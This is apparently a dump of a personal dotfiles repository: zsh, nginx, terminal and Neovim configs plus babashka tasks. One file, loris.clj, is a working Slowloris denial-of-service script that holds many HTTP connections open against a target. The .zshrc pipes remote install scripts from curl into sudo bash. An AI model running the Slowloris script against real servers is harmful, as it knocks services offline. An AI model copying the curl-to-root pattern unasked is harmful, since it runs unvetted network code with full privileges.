├── .cljfmt.edn
├── .gitignore
├── .ideavimrc
├── .stylua.toml
├── .zprintrc
├── .zshrc
├── LICENSE
├── README.md
├── bb.edn
├── fd
└── ignore
├── ghostty
└── config
├── git
└── config
├── loris.clj
├── nginx-api.conf
├── nvim
├── init.lua
└── lua
│ ├── impl.lua
│ ├── lsp.lua
│ ├── mappings.lua
│ ├── plugins
│ ├── lisp.lua
│ ├── mini.lua
│ ├── statusline.lua
│ ├── treesitter.lua
│ └── ui.lua
│ └── settings.lua
├── playbooks
├── common.yml
├── fedora.yml
└── mac.yml
├── ripgrep
└── config
├── skhd
└── skhdrc
├── tasks
└── general
│ ├── commit.clj
│ ├── linux.clj
│ └── zsh.clj
├── wezterm
└── wezterm.lua
└── yabai
└── yabairc
/.cljfmt.edn:
--------------------------------------------------------------------------------
1 | {:remove-multiple-non-indenting-spaces? true
2 | :sort-ns-references? true}
3 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .clj-kondo/
2 | .DS_Store
3 | .lsp/
4 | .luarc.json
5 | .nrepl-port
6 | nvim/lazy-lock.json
7 |
--------------------------------------------------------------------------------
/.ideavimrc:
--------------------------------------------------------------------------------
1 | set surround
2 | set clipboard=unnamed
3 | set number
4 | set relativenumber
5 | set showmode
6 |
--------------------------------------------------------------------------------
/.stylua.toml:
--------------------------------------------------------------------------------
1 | indent_width = 2
2 | indent_type = "Spaces"
3 | quote_style = "ForceDouble"
4 |
--------------------------------------------------------------------------------
/.zprintrc:
--------------------------------------------------------------------------------
1 | {:binding {:force-nl? true
2 | :justify? true
3 | :justify {:max-variance 1000}}
4 | :fn-map {"comment" :flow
5 | "component/system-map" :pair-fn
6 | "db-connection" :arg1-force-nl
7 | "defmethod" :arg1-force-nl
8 | "defn" :arg1-force-nl
9 | "defn-" :arg1-force-nl
10 | "defrecord" :arg1-force-nl
11 | "do" :flow
12 | "f/try*" :flow
13 | "f/try-all" :binding
14 | "f/when-failed" :arg1-force-nl
15 | "fn" :arg1-force-nl
16 | "format" :gt2-force-nl
17 | "if" :arg1-force-nl
18 | "jdbc/with-transaction" :arg1-force-nl
19 | "log/debugf" :gt2-force-nl
20 | "log/errorf" :gt2-force-nl
21 | "log/infof" :gt2-force-nl
22 | "queue-connection" :arg1-force-nl
23 | "start" :arg1-force-nl
24 | "stop" :arg1-force-nl
25 | "testing" :arg1-force-nl
26 | "try" :flow
27 | "vector" :force-nl-body
28 | "when" :arg1-force-nl
29 | "when-not" :arg1-force-nl
30 | "with-db" :flow
31 | "each" :arg1-force-nl
32 | "λ" :arg1-force-nl
33 | "span/with-span!" :arg1-force-nl}
34 | :list {:indent-arg 2
35 | :respect-nl? true}
36 | :vector {:respect-nl? true}
37 | :map {:comma? false
38 | :sort? false
39 | :justify? true
40 | :justify {:max-variance 1000}
41 | :respect-nl? true
42 | :lift-ns? false}
43 | :pair {:justify? true
44 | :justify {:max-variance 1000}}
45 | :pair-fn {:hang? false}
46 | :style :community
47 | :width 120}
48 |
--------------------------------------------------------------------------------
/.zshrc:
--------------------------------------------------------------------------------
1 | POWERLEVEL9K_SHORTEN_DIR_LENGTH=3
2 |
3 | zstyle ':z4h:' auto-update 'no'
4 | zstyle ':z4h:' auto-update-days '28'
5 | zstyle ':z4h:bindkey' keyboard 'pc'
6 | zstyle ':z4h:' start-tmux no
7 | zstyle ':z4h:' term-shell-integration 'yes'
8 | zstyle ':z4h:autosuggestions' forward-char 'accept'
9 | zstyle ':z4h:fzf-complete' recurse-dirs 'no'
10 | zstyle ':z4h:direnv' enable 'no'
11 | zstyle ':z4h:direnv:success' notify 'no'
12 | zstyle ':z4h:ssh:example-hostname1' enable 'no'
13 | zstyle ':z4h:ssh:*' enable 'no'
14 | zstyle ':z4h:ssh:*' send-extra-files '~/.env.zsh'
15 |
16 | z4h install ohmyzsh/ohmyzsh || return
17 |
18 | z4h init || return
19 |
20 | path=(~/bin $path)
21 |
22 | z4h source ~/.env.zsh
23 | z4h source ohmyzsh/ohmyzsh/lib/diagnostics.zsh
24 |
25 | z4h load ohmyzsh/ohmyzsh/plugins/emoji-clock
26 | z4h load ohmyzsh/ohmyzsh/plugins/git
27 | z4h load ohmyzsh/ohmyzsh/plugins/common-aliases
28 |
29 | autoload -Uz zmv
30 |
31 | setopt glob_dots
32 | setopt no_auto_menu
33 | setopt EXTENDED_HISTORY
34 | setopt HIST_EXPIRE_DUPS_FIRST
35 | setopt HIST_IGNORE_DUPS
36 | setopt HIST_IGNORE_ALL_DUPS
37 | setopt HIST_IGNORE_SPACE
38 | setopt HIST_FIND_NO_DUPS
39 | setopt HIST_SAVE_NO_DUPS
40 | setopt HIST_BEEP
41 |
42 | export EDITOR=nvim
43 | export FZF_DEFAULT_COMMAND='fd --type file --follow --hidden'
44 | export FZF_CTRL_T_COMMAND="$FZF_DEFAULT_COMMAND"
45 | export BAT_STYLE=plain
46 | export GOPATH=$HOME/.go
47 | export PATH=$GOPATH/bin:$PATH
48 | export RIPGREP_CONFIG_PATH=$HOME/.config/ripgrep/config
49 |
50 | alias cat=bat
51 | alias c=$(command -v podman || command -v docker || { echo "Warning: Podman or Docker not found." >&2 })
52 | alias rc='c rm -f `c ps -aq`'
53 | alias ri='c image rm -f `c image ls -aq`'
54 | alias il='c image ls'
55 | alias cps='c ps -a'
56 | alias rbl='clojure -Sdeps "{:deps {com.bhauman/rebel-readline {:mvn/version \"LATEST\"}}}" -M -m rebel-readline.main'
57 | alias ls=eza
58 | alias repl='clojure -J--enable-preview -Sdeps "{:deps {nrepl/nrepl {:mvn/version \"RELEASE\"} cider/cider-nrepl {:mvn/version \"RELEASE\"}}}" -M -m nrepl.cmdline --middleware "[\"cider.nrepl/cider-middleware\"]"'
59 | alias antq="clojure -Sdeps '{:deps {com.github.liquidz/antq {:mvn/version \"RELEASE\"}}}' -M -m antq.core"
60 | alias task="bb --config ~/code/repos/dotfiles/bb.edn"
61 | alias commit="task commit"
62 | alias nsync='nvim --headless "+Lazy! sync" +TSUpdateSync +qa'
63 | alias vim=nvim
64 | alias tree='eza --git-ignore --tree'
65 |
66 | eval "$(zoxide init zsh)"
67 |
68 | function di() {
69 | c image rm $(c images -q | head -${1-"1"})
70 | }
71 |
72 | function replace() {
73 | rg "${1}" --files-with-matches | xargs sed -i "s/${1}/${2}/g"
74 | }
75 |
76 | _bb_tasks() {
77 | local matches=($(bb tasks | tail -n +3 | cut -f1 -d ' '))
78 | compadd -a matches
79 | _files # autocomplete filenames as well
80 | }
81 |
82 | compdef _bb_tasks bb
83 |
84 | function _raw_update() {
85 | scripts=(
86 | "https://raw.githubusercontent.com/clojure-lsp/clojure-lsp/master/install"
87 | "https://download.clojure.org/install/linux-install.sh"
88 | )
89 |
90 | for script in ${scripts[*]}; do
91 | sudo bash < <(curl -s ${script})
92 | done
93 | }
94 |
95 | function bb_install() {
96 | curl -sLO https://raw.githubusercontent.com/babashka/babashka/master/install
97 | sudo bash install --dev-build
98 | rm -f install
99 | }
100 |
101 | if [[ $(uname) == "Darwin" ]]; then
102 | zstyle ':z4h:bindkey' keyboard 'mac'
103 | alias u="brew update && \
104 | brew upgrade && \
105 | brew upgrade --cask --greedy && \
106 | brew cleanup --prune=1 && \
107 | nsync && \
108 | ou && \
109 | npm update -g && \
110 | z4h update"
111 | if [ ! -f ~/.lispy_first_setup_complete ]; then
112 | sudo ln -s /usr/local/sbin/mount_ntfs "/Volumes/Macintosh HD/sbin/mount_ntfs"
113 | touch ~/.lispy_first_setup_complete
114 | fi
115 | else
116 | zstyle ':z4h:bindkey' keyboard 'pc'
117 | alias u="sudo dnf5 update -y && \
118 | sudo dnf5 clean packages && \
119 | flatpak update -y && \
120 | nsync && \
121 | _raw_update || true && \
122 | bb_install && \
123 | sudo npm update -g && \
124 | task linux download nerd-fonts NerdFontsSymbolsOnly && \
125 | z4h update"
126 | fi
127 |
128 | bindkey "^[[A" z4h-fzf-history
129 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | This is free and unencumbered software released into the public domain.
2 |
3 | Anyone is free to copy, modify, publish, use, compile, sell, or
4 | distribute this software, either in source code form or as a compiled
5 | binary, for any purpose, commercial or non-commercial, and by any
6 | means.
7 |
8 | In jurisdictions that recognize copyright laws, the author or authors
9 | of this software dedicate any and all copyright interest in the
10 | software to the public domain. We make this dedication for the benefit
11 | of the public at large and to the detriment of our heirs and
12 | successors. We intend this dedication to be an overt act of
13 | relinquishment in perpetuity of all present and future rights to this
14 | software under copyright law.
15 |
16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
22 | OTHER DEALINGS IN THE SOFTWARE.
23 |
24 | For more information, please refer to
25 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |

3 |
4 |
5 | Welcome to my dotfiles, this is my setup on MacOS/Fedora 39+, Neovim latest and zsh. Also some random configs.
6 |
7 | ### Setting up Neovim
8 |
9 | - Ensure Neovim 0.11+ is [installed](https://github.com/neovim/neovim/blob/master/INSTALL.md)
10 | - Ensure recent versions of git and curl are installed
11 | - Copy the `nvim` dir in `~/.config/` or wherever `XDG_CONFIG_HOME` environment var is pointing to.
12 | - Start neovim with `nvim` and follow the bootstrapping messages.
13 | - Make sure all the installs mentioned in [lsp.lua](/nvim/lua/lsp.lua) are performed too. Amend the list to your liking.
14 | - Profit from the **_Blazingly Fast_** startup time optimisations!
15 |
16 | ### Bootstrapping new Fedora or MacOS installations
17 |
18 | - Ensure a recent version of [Ansible](https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html) is installed
19 | - Ensure a recent version of [Node](https://nodejs.org/en/download/) is installed
20 | - [Only for MacOS] Ensure [Homebrew](https://brew.sh/) is installed.
21 | - Run `ansible-playbook --ask-become-pass playbooks/fedora.yml` or `ansible-playbook playbooks/mac.yml` from the root of this dir based on the OS.
22 |
23 | ### License
24 |
25 | The [Unlicense](https://unlicense.org/)
26 |
--------------------------------------------------------------------------------
/bb.edn:
--------------------------------------------------------------------------------
1 | {:paths ["tasks"]
2 | :deps {io.github.lispyclouds/bblgum {:local/root "../bblgum"}}
3 | :tasks {:requires ([babashka.cli :as cli]
4 | [general.commit :as commit]
5 | [general.linux :as linux]
6 | [general.zsh :as zsh])
7 | commit {:doc "Interactively write a commit message with co-authors"
8 | :task (commit/-main (cli/parse-args *command-line-args*))}
9 | linux {:doc "Download things for a Linux system"
10 | :task (linux/-main *command-line-args*)}
11 | zsh {:doc "Prints out the unique lines from your zsh history"
12 | :task (zsh/-main)}}}
13 |
--------------------------------------------------------------------------------
/fd/ignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | .cache/
3 | .cpcache
4 | .git/
5 | .mypy_cache/
6 | __pycache__/
7 | classes/
8 | target/
9 |
--------------------------------------------------------------------------------
/ghostty/config:
--------------------------------------------------------------------------------
1 | background-opacity = 0.95
2 | cursor-style = "block"
3 | cursor-style-blink = false
4 | font-family = "Iosevka Term"
5 | font-size = 11
6 | font-style = Heavy
7 |
8 | keybind = ctrl+s=new_split:down
9 | keybind = ctrl+shift+0=reset_font_size
10 | keybind = ctrl+shift+backspace=clear_screen
11 | keybind = ctrl+shift+h=goto_split:left
12 | keybind = ctrl+shift+j=goto_split:down
13 | keybind = ctrl+shift+k=goto_split:up
14 | keybind = ctrl+shift+l=goto_split:right
15 | keybind = ctrl+shift+minus=decrease_font_size:1
16 | keybind = ctrl+shift+plus=increase_font_size:1
17 | keybind = ctrl+shift+s=new_split:right
18 | keybind = ctrl+shift+w=close_surface
19 |
20 | # https://github.com/scottmckendry/cyberdream.nvim/tree/main/extras/ghostty
21 | palette = 0=#16181A
22 | palette = 1=#FF6E5E
23 | palette = 2=#5EFF6C
24 | palette = 3=#F1FF5E
25 | palette = 4=#5EA1FF
26 | palette = 5=#BD5EFF
27 | palette = 6=#5EF1FF
28 | palette = 7=#FFFFFF
29 | palette = 8=#3C4048
30 | palette = 9=#FF6E5E
31 | palette = 10=#5EFF6C
32 | palette = 11=#F1FF5E
33 | palette = 12=#5EA1FF
34 | palette = 13=#BD5EFF
35 | palette = 14=#5EF1FF
36 | palette = 15=#FFFFFF
37 |
38 | background = #16181A
39 | cursor-color = #FFFFFF
40 | foreground = #FFFFFF
41 | selection-background = #3C4048
42 | selection-foreground = #FFFFFF
43 |
--------------------------------------------------------------------------------
/git/config:
--------------------------------------------------------------------------------
1 | [user]
2 | name = Rahul De
3 | email = rahul080327@gmail.com
4 | [pull]
5 | rebase = true
6 | [diff]
7 | external = difft
8 | [push]
9 | autoSetupRemote = true
10 | [merge]
11 | conflictstyle = diff3
12 | [rerere]
13 | enabled = true
14 |
--------------------------------------------------------------------------------
/loris.clj:
--------------------------------------------------------------------------------
1 | (require '[babashka.cli :as cli]
2 | '[clojure.java.io :as io])
3 |
4 | (import '[java.net Socket]
5 | '[java.util.concurrent Executors])
6 |
7 | (def user-agents
8 | ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
9 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36"
10 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50"
11 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0"
12 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
13 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36"
14 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36"
15 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14"
16 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50"
17 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
18 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
19 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36"
20 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
21 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36"
22 | "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0"
23 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
24 | "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36"
25 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
26 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36"
27 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0"
28 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
29 | "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0"
30 | "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
31 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
32 | "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0"])
33 |
34 | (defn send-header
35 | [k v]
36 | (println (str k ": " v)))
37 |
38 | (defn connect
39 | [host port interval sock-timeout]
40 | (let [sock (doto (Socket. host port)
41 | (.setSoTimeout sock-timeout))
42 | out (io/writer sock)]
43 | (println "Created socket")
44 | (binding [*out* out]
45 | (println (str "GET /?" (rand-int 2000) " HTTP/1.1"))
46 | (send-header "User-Agent" (rand-nth user-agents))
47 | (send-header "Accept-language" "en-US,en,q=0.5")
48 | {:out out
49 | :sock sock
50 | :fut (future
51 | (loop []
52 | (send-header "X-a" (rand-int 5000))
53 | (println (str "Sent header, sleeping for: " interval))
54 | (Thread/sleep interval)
55 | (recur)))})))
56 |
57 | (defn loris
58 | [{{:keys [host port connections interval sock-timeout]} :opts}]
59 | (Thread/sleep 10000)
60 | (->> (repeatedly #(connect host port interval sock-timeout))
61 | (take connections)
62 | (run! (fn [{:keys [out sock fut]}]
63 | (future-cancel fut)
64 | (.close out)
65 | (.close sock)))))
66 |
67 | (when (= *file* (System/getProperty "babashka.file"))
68 | (set-agent-send-off-executor! (Executors/newVirtualThreadPerTaskExecutor))
69 |
70 | (loris (cli/parse-args *command-line-args*
71 | {:require [:host :port]
72 | :coerce {:port :long
73 | :connections :long
74 | :interval :long}
75 | :exec-args {:connections 10
76 | :interval 2000
77 | :sock-timeout 4000}})))
78 |
79 | (comment
80 | (set-agent-send-off-executor! (Executors/newVirtualThreadPerTaskExecutor))
81 |
82 | (loris {:opts {:host "localhost"
83 | :port 8000
84 | :connections 5}}))
85 |
--------------------------------------------------------------------------------
/nginx-api.conf:
--------------------------------------------------------------------------------
1 | server {
2 | listen 443 ssl http2;
3 | listen [::]:443 ssl http2;
4 |
5 | listen 8888 ssl http2;
6 | listen [::]:8888 ssl http2;
7 |
8 | server_name damned.api;
9 |
10 | # block requests from some ip cuz #whynot
11 | deny 83.136.250.51;
12 |
13 | # Enable sandboxing but with scripts
14 | # Don't allow inserting pages in frames
15 | # Don't allow frames and plugins
16 | # Allow fonts, media, scripts, styles from same site only
17 | add_header Content-Security-Policy "frame-ancestors 'none'; sandbox allow-scripts; default-src 'self'; frame-src 'none'; object-src 'none'";
18 | # Only allow my site to frame itself
19 | add_header X-Frame-Options SAMEORIGIN;
20 | # Only connect to this site and subdomains via HTTPS for the next two years and also include in the preload list
21 | add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload";
22 | # Prevent browsers from incorrectly detecting non-scripts as scripts
23 | add_header X-Content-Type-Options nosniff;
24 | # Don't send referrer headers
25 | add_header Referrer-Policy no-referrer;
26 | # Protect from XSS attacks on older browsers
27 | add_header X-XSS-Protection "1; mode=block";
28 |
29 | client_max_body_size 100M;
30 |
31 | ssl_certificate /etc/letsencrypt/live/damned.api/fullchain.pem;
32 | ssl_certificate_key /etc/letsencrypt/live/damned.api/privkey.pem;
33 |
34 | ssl_protocols TLSv1.2;
35 | ssl_prefer_server_ciphers on;
36 | ssl_dhparam /etc/ssl/private/dhparam.pem;
37 | ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256';
38 | ssl_session_timeout 1d;
39 | ssl_session_cache shared:SSL:50m;
40 | ssl_stapling on;
41 | ssl_stapling_verify off;
42 |
43 | location / {
44 | proxy_pass http://localhost:8008;
45 | proxy_set_header X-Forwarded-For $remote_addr;
46 | }
47 | }
48 |
49 | server {
50 | listen 80;
51 | listen [::]:80;
52 |
53 | server_name damned.api;
54 |
55 | return 301 https://$host$request_uri;
56 | }
57 |
--------------------------------------------------------------------------------
/nvim/init.lua:
--------------------------------------------------------------------------------
1 | --[[
2 | WX0kxol:;,, ,;:lodk0XW
3 | WNKkdc;, ;cokKNW
4 | WXOdc, ,;;;::::;;;, ,:oOXW
5 | WNOo: ;codkO0KXXXNNNNXXXK0Okdoc; ;oOXW
6 | WKxc ,oOXNW WNX0xc :xKW
7 | WKd; ,oKW W0: ;dKW
8 | WXx; :OW 0: ;dKW
9 | NOc :do, ;xN 0: :kN
10 | Xd, ;xXWNk: ,oKW 0: :: ,oKW
11 | WKl ,oKW WKl :OW 0: ,xKo, c0W
12 | W0c ;xN Xx; ;xN 0: ,kWNk: :OW
13 | W0c :OW WO: lKW 0: ,kW W0c :0W
14 | Xl :OW WKo :OW 0: ;OW W0c cK
15 | Nx, ;OW Nx; ,dX O; ;0 W0: oN
16 | O: ,dN NKx; lKW Wk, cK Wk, ;k
17 | o cK WXkl, :kXN Nd lX Xl l
18 | : ,xW Nkc ,:dX Kc ,xW Wk, ;
19 | , ;0 WKo, ;l: l0W Nd, cK Kc
20 | cK W0c ;xKWXd, :kN Wk; ;kW Xl
21 | lX 0c l0W Nk: ,dX Nx; ,dN No
22 | lX Kl lK W0l c0WN0l, ,dN No
23 | cK Nx, c0 Xd, ;lc, :kN Kc
24 | , ;OW Kc ,xW Nk: ;dKW WO; ,
25 | c dN Wk, :0 WKl, :dKW Nd :
26 | x, :OW Nd lX X0d, lkXW 0: d
27 | Kc lX No oN NO: lKW Xo :0
28 | WO; dN No dN WKl :OW Nx, ,kW
29 | Nx, ,dN Xl dN Xx; ;xN Nx, ,dN
30 | Nd, ,oX Xl dN WO: lKW Xd, oX
31 | Nd, c0Xl dN WKl :ON WKl ,dX
32 | Nk; ;o: dN Nx; ,dX Xx: ;xN
33 | W0c dN WOc l0Xkc cOW
34 | Xx; dN WKo, ;:, ;dXW
35 | WKd; dN Nx; ,o0W
36 | WKd; c0NW Nk; ;o0N
37 | WXkc, ,:oxOKXNW WNXKOxo:, ,cxKW
38 | N0dc, ,;clodxxkkkkkkxxdolc;, ,:d0N
39 | NKko:, ,:lx0NW
40 | WN0kdl:;, ,:ldk0XW
41 | WX0kdl:,, ,,:cox0XWW
42 | --]]
43 |
44 | local lazypath = vim.fn.stdpath("data") .. "/lazy/lazy.nvim"
45 | local undo_dir = vim.loop.os_homedir() .. "/.vim/undodir"
46 |
47 | if not vim.loop.fs_stat(lazypath) then
48 | print("nvim is bootstrapping, please restart it when completed.")
49 |
50 | local fn = vim.fn
51 | if not fn.isdirectory(undo_dir) then
52 | fn.mkdir(undo_dir, "", 0700)
53 | end
54 |
55 | fn.system({
56 | "git",
57 | "clone",
58 | "--filter=blob:none",
59 | "--single-branch",
60 | "https://github.com/folke/lazy.nvim.git",
61 | lazypath,
62 | })
63 | end
64 |
65 | vim.opt.runtimepath:prepend(lazypath)
66 | vim.loader.enable()
67 |
68 | vim.filetype.add({
69 | extension = {
70 | edn = "clojure",
71 | tfvars = "hcl",
72 | },
73 | })
74 |
75 | require("settings").setup(undo_dir)
76 | require("mappings").setup()
77 | require("lsp").setup()
78 | require("lazy").setup({ import = "plugins" }, {
79 | change_detection = {
80 | notify = false,
81 | },
82 | performance = {
83 | rtp = {
84 | disabled_plugins = {
85 | "2html_plugin",
86 | "editorconfig",
87 | "getscript",
88 | "getscriptPlugin",
89 | "logipat",
90 | "man",
91 | "netrw",
92 | "netrwFileHandlers",
93 | "netrwPlugin",
94 | "netrwSettings",
95 | "rplugin",
96 | "rrhelper",
97 | "shada",
98 | "spec",
99 | "tar",
100 | "tarPlugin",
101 | "tohtml",
102 | "tutor",
103 | },
104 | },
105 | },
106 | })
107 |
--------------------------------------------------------------------------------
/nvim/lua/impl.lua:
--------------------------------------------------------------------------------
1 | return {
2 | map = function(mappings)
3 | for mapping, action in pairs(mappings) do
4 | local opts = {}
5 |
6 | if type(action) == "table" then
7 | opts = action.opts
8 | action = action.action
9 | end
10 |
11 | opts["silent"] = true
12 |
13 | vim.keymap.set({ "n", "v" }, mapping, action, opts)
14 | end
15 | end,
16 | }
17 |
--------------------------------------------------------------------------------
/nvim/lua/lsp.lua:
--------------------------------------------------------------------------------
1 | return {
2 | setup = function()
3 | vim.api.nvim_create_autocmd("BufReadPre", {
4 | desc = "Setup LSP",
5 | group = vim.api.nvim_create_augroup("lispyclouds-setup-lsp", { clear = true }),
6 | once = true,
7 | callback = function()
8 | local lsps = {
9 | -- https://docs.basedpyright.com/latest/installation/command-line-and-language-server/
10 | basedpyright = {
11 | cmd = { "basedpyright-langserver", "--stdio" },
12 | filetypes = { "python" },
13 | root_markers = {
14 | "pyproject.toml",
15 | "pyrightconfig.json",
16 | "requirements.txt",
17 | },
18 | settings = {
19 | basedpyright = {
20 | typeCheckingMode = "standard",
21 | analysis = {
22 | autoSearchPaths = true,
23 | diagnosticMode = "openFilesOnly",
24 | useLibraryCodeForTypes = true,
25 | },
26 | },
27 | },
28 | },
29 | -- https://clojure-lsp.io/installation/
30 | clojure_lsp = {
31 | cmd = { "clojure-lsp" },
32 | filetypes = { "clojure", "edn" },
33 | root_markers = {
34 | "bb.edn",
35 | "deps.edn",
36 | "project.clj",
37 | },
38 | },
39 | -- go install golang.org/x/tools/gopls@latest
40 | gopls = {
41 | cmd = { "gopls" },
42 | filetypes = { "go", "gomod", "gowork", "gotmpl" },
43 | root_markers = { "go.mod" },
44 | settings = {
45 | gopls = {
46 | hints = {
47 | assignVariableTypes = true,
48 | compositeLiteralFields = true,
49 | compositeLiteralTypes = true,
50 | constantValues = true,
51 | functionTypeParameters = true,
52 | parameterNames = true,
53 | rangeVariableTypes = true,
54 | },
55 | },
56 | },
57 | },
58 | -- https://docs.astral.sh/ruff/installation/
59 | ruff = {
60 | cmd = { "ruff", "server" },
61 | filetypes = { "python" },
62 | root_markers = {
63 | "pyproject.toml",
64 | "ruff.toml",
65 | ".ruff.toml",
66 | },
67 | },
68 | -- uv pip install ty
69 | ty = {
70 | cmd = { "ty", "server" },
71 | filetypes = { "python" },
72 | root_markers = {
73 | "pyproject.toml",
74 | },
75 | },
76 | -- npm install --global yaml-language-server
77 | yamlls = {
78 | cmd = { "yaml-language-server", "--stdio" },
79 | filetypes = { "yaml" },
80 | settings = {
81 | yaml = { keyOrdering = false },
82 | },
83 | },
84 | }
85 | local on_attach = function(client, buffer)
86 | local buf = vim.lsp.buf
87 | local show_ih = false
88 |
89 | if client.server_capabilities.completionProvider ~= nil then
90 | -- trigger on all chars if supported
91 | local chars = {}
92 | for i = 32, 126 do
93 | table.insert(chars, string.char(i))
94 | end
95 |
96 | client.server_capabilities.completionProvider.triggerCharacters = chars
97 | end
98 |
99 | vim.lsp.completion.enable(true, client.id, buffer, { autotrigger = true })
100 |
101 | -- better completion nav
102 | local next, prev = "", ""
103 | vim.keymap.set("i", next, [[pumvisible() ? "\" : "\]] .. next .. [["]], { expr = true })
104 | vim.keymap.set("i", prev, [[pumvisible() ? "\" : "\]] .. prev .. [["]], { expr = true })
105 |
106 | require("impl").map({
107 | ["fb"] = {
108 | action = buf.format,
109 | opts = {
110 | desc = "LSP [F]ormat [B]uffer",
111 | buffer = buffer,
112 | },
113 | },
114 | ["ca"] = buf.code_action,
115 | ["h"] = buf.hover,
116 | ["r"] = buf.rename,
117 | ["gd"] = buf.definition,
118 | ["ih"] = {
119 | action = function()
120 | if client.supports_method("textDocument/inlayHint") or client.server_capabilities.inlayHintProvider then
121 | show_ih = not show_ih
122 | vim.lsp.inlay_hint.enable(show_ih, { bufnr = buffer })
123 | else
124 | vim.notify("Inlay hints are unsupported by this LSP")
125 | end
126 | end,
127 | opts = { desc = "Toggle [I]nlay [H]ints" },
128 | },
129 | })
130 | end
131 |
132 | for lsp, opts in pairs(lsps) do
133 | opts.on_attach = on_attach
134 | opts.capabilities = {
135 | textDocument = {
136 | completion = {
137 | completionItem = {
138 | commitCharactersSupport = false,
139 | deprecatedSupport = true,
140 | documentationFormat = { "markdown", "plaintext" },
141 | insertTextModeSupport = { valueSet = { 1 } },
142 | labelDetailsSupport = true,
143 | preselectSupport = false,
144 | resolveSupport = {
145 | properties = {
146 | "documentation",
147 | "detail",
148 | "additionalTextEdits",
149 | "command",
150 | "data",
151 | },
152 | },
153 | snippetSupport = true,
154 | tagSupport = { valueSet = { 1 } },
155 | },
156 | completionList = {
157 | itemDefaults = {
158 | "commitCharacters",
159 | "editRange",
160 | "insertTextFormat",
161 | "insertTextMode",
162 | "data",
163 | },
164 | },
165 | contextSupport = true,
166 | insertTextMode = 1,
167 | },
168 | },
169 | }
170 |
171 | vim.lsp.config(lsp, opts)
172 | vim.lsp.enable(lsp)
173 | end
174 | end,
175 | })
176 | end,
177 | }
